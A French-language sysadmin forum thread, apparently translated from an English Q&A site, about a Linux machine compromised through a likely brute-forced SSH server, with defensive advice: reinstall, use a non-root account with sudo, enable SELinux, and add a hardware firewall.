Commenté el 2 de Février, 2016 par MariusMatutiae

1 votes

Avatar de vy32

Ce n'est donc pas un piratage manuel ? C'est une sorte de ver/bot qui se propage tout seul ?

Commenté el 4 de Février, 2016 par vy32

1 votes

Avatar de MariusMatutiae

NickG Je pense que ce n'était pas un piratage manuel. Quelle est la probabilité que Vaid travaille dans le même bureau que l'initiateur d'un botnet basé en Chine ? Quelqu'un a trouvé une faiblesse exploitable dans sa machine, très probablement un serveur ssh faiblement sécurisé, a forcé son mot de passe, a obtenu un accès, a essayé de s'installer subrepticement. Cependant, je parierais également que l'attaquant maîtrise mieux Windows que Linux. Mais je n'ai pas dur la preuve de cela, juste une supposition éclairée.

Commenté el 4 de Février, 2016 par MariusMatutiae

13voto

pyn avatar
pyn Points 131

Tout le monde ici a donné de bons conseils, mais pour être clair, vos priorités devraient être de sauvegarder et de vérifier ce dont vous avez vraiment besoin de ce système, puis de l'effacer avec une nouvelle installation à partir d'un support sûr connu.

Avant de connecter votre hôte nouvellement installé à Internet, passez en revue ces quelques idées :

  1. Créez un nouvel utilisateur non-root, et connectez-vous en tant que cet utilisateur. Vous ne devriez jamais avoir besoin de vous connecter en tant que root, juste sudo (substitute user do) quand c'est nécessaire.

  2. Installez SE Linux, les paramètres de configuration qui permettent le contrôle d'accès obligatoire : https://wiki.debian.org/SELinux/Setup

  3. Envisagez un pare-feu matériel entre votre bureau/maison et l'Internet. J'utilise MicroTik, qui bénéficie d'un excellent support communautaire : http://routerboard.com/ .

En supposant que vous ayez un délai pour terminer votre travail rémunéré, faites au moins le numéro 1. #Le n°3 est rapide et bon marché, mais vous devrez soit attendre le paquet dans le courrier, soit conduire jusqu'au magasin.

Répondu el 2 de Février, 2016 par pyn (131 Points )

3 votes

Avatar de MariusMatutiae

Et, surtout, ne laissez pas votre ordinateur fonctionner sans surveillance avec une session root ouverte !

Commenté el 2 de Février, 2016 par MariusMatutiae

Questions en vedette

Top Tags

Dans notre réseau

SistemesEz.com

SystemesEZ est une communauté de sysadmins où vous pouvez résoudre vos problèmes et vos doutes. Vous pouvez consulter les questions des autres sysadmins, poser vos propres questions ou résoudre celles des autres.

Powered by:

Yandex
X